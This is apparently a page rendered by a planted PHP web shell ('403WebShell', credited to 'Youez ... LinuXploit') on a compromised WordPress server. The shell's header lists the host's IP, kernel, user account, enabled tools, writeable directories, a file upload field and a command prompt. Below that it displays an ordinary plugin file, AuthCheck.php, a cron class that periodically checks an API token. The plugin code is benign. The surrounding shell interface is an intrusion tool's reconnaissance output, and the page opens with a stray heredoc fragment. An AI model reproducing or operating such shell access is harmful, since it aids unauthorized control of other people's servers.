$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/Cron/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/Cron/AuthCheck.php
<?php
/**
 * Periodic authorization check.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Client\Cron;

use HelloPack\Client\Admin\NoticeManager;
use HelloPack\Client\Api\Client;
use HelloPack\Client\Api\Endpoints;
use HelloPack\Client\Options;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Runs a periodic cron check to verify and re-authorize the API connection.
 */
class AuthCheck {

	private const MIN_TOKEN_LENGTH = 20;
	private const MAX_RETRIES      = 5;
	private const SCHEDULE_NAME    = 'hellopack_ten_minutes';
	private const HOOK_NAME        = 'hellopack_check_authorization';
	private const CRON_CHECK_KEY   = 'hellopack_cron_check';
	private const AUTH_CHECK_KEY   = 'hellopack_last_auth_check';
	private const RETRY_COUNT_KEY  = 'hellopack_reauth_retry_count';
	private const NOTICE_SHOWN_KEY = 'hellopack_reauth_notice_shown';

	/**
	 * API client.
	 *
	 * @var Client
	 */
	private Client $api;

	/**
	 * Constructor.
	 *
	 * @param Client $api API client.
	 */
	public function __construct( Client $api ) {
		$this->api = $api;

		add_filter( 'cron_schedules', array( $this, 'add_cron_interval' ) ); // phpcs:ignore WordPress.WP.CronInterval.CronSchedulesInterval
		add_action( 'init', array( $this, 'ensure_cron_scheduled' ) );
		add_action( self::HOOK_NAME, array( $this, 'check_and_reauthorize' ) );
	}

	/**
	 * Add custom 10-minute cron interval.
	 *
	 * @param array<string, array<string, mixed>> $schedules Existing schedules.
	 * @return array<string, array<string, mixed>>
	 */
	public function add_cron_interval( array $schedules ): array {
		$schedules[ self::SCHEDULE_NAME ] = array(
			'interval' => 600,
			'display'  => __( 'Every 10 minutes', 'hellopack-client' ),
		);

		return $schedules;
	}

	/**
	 * Ensure the cron event is scheduled.
	 */
	public function ensure_cron_scheduled(): void {
		// One check per network is enough; the token is network-wide.
		if ( HELLOPACK_CLIENT_NETWORK_ACTIVATED && ! is_main_site() ) {
			return;
		}

		if ( false !== get_transient( self::CRON_CHECK_KEY ) ) {
			return;
		}

		$token = (string) Options::get( 'token' );

		if ( ! empty( $token ) && strlen( $token ) >= self::MIN_TOKEN_LENGTH ) {
			if ( ! wp_next_scheduled( self::HOOK_NAME ) ) {
				wp_schedule_event( time(), self::SCHEDULE_NAME, self::HOOK_NAME );
			}
		} else {
			wp_clear_scheduled_hook( self::HOOK_NAME );
		}

		set_transient( self::CRON_CHECK_KEY, true, HOUR_IN_SECONDS );
	}

	/**
	 * Check authorization and attempt re-authorization if needed.
	 */
	public function check_and_reauthorize(): void {
		$token = (string) Options::get( 'token' );

		if ( empty( $token ) || strlen( $token ) < self::MIN_TOKEN_LENGTH ) {
			return;
		}

		if ( get_transient( self::AUTH_CHECK_KEY ) ) {
			return;
		}

		set_transient( self::AUTH_CHECK_KEY, time(), 10 * MINUTE_IN_SECONDS );

		$response = $this->api->request( Endpoints::url( 'api-check' ) );
		$is_valid = ! is_wp_error( $response )
			&& isset( $response['scopes'] )
			&& is_array( $response['scopes'] );

		if ( $is_valid ) {
			delete_transient( self::RETRY_COUNT_KEY );
			delete_transient( self::NOTICE_SHOWN_KEY );
			return;
		}

		$this->handle_failed_check();
	}

	/**
	 * Handle a failed authorization check.
	 */
	private function handle_failed_check(): void {
		$retry_count = (int) get_transient( self::RETRY_COUNT_KEY );

		if ( $retry_count >= self::MAX_RETRIES ) {
			// Only queue the notice once per retry window. The cron runs every
			// 10 minutes, so without this guard the notice would stack up on the
			// updates screen until the retry transient expires.
			if ( ! get_transient( self::NOTICE_SHOWN_KEY ) ) {
				NoticeManager::add(
					'error',
					__( 'HelloPack: Automatic reconnection failed. Please check your API connection manually.', 'hellopack-client' )
				);
				set_transient( self::NOTICE_SHOWN_KEY, 1, DAY_IN_SECONDS );
			}
			return;
		}

		set_transient( self::RETRY_COUNT_KEY, $retry_count + 1, DAY_IN_SECONDS );

		// On the last retry, attempt re-verification with a fresh client
		// (may pick up a token change between cron runs).
		if ( self::MAX_RETRIES - 1 === $retry_count ) {
			$fresh_client = new Client();
			$response     = $fresh_client->request( Endpoints::url( 'api-check' ) );
			$is_valid     = ! is_wp_error( $response )
				&& isset( $response['scopes'] )
				&& is_array( $response['scopes'] );

			if ( $is_valid ) {
				delete_transient( self::RETRY_COUNT_KEY );
				delete_transient( self::NOTICE_SHOWN_KEY );
				Options::set_status( 'active' );
				Options::set( 'last_auto_reauth', time() );
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit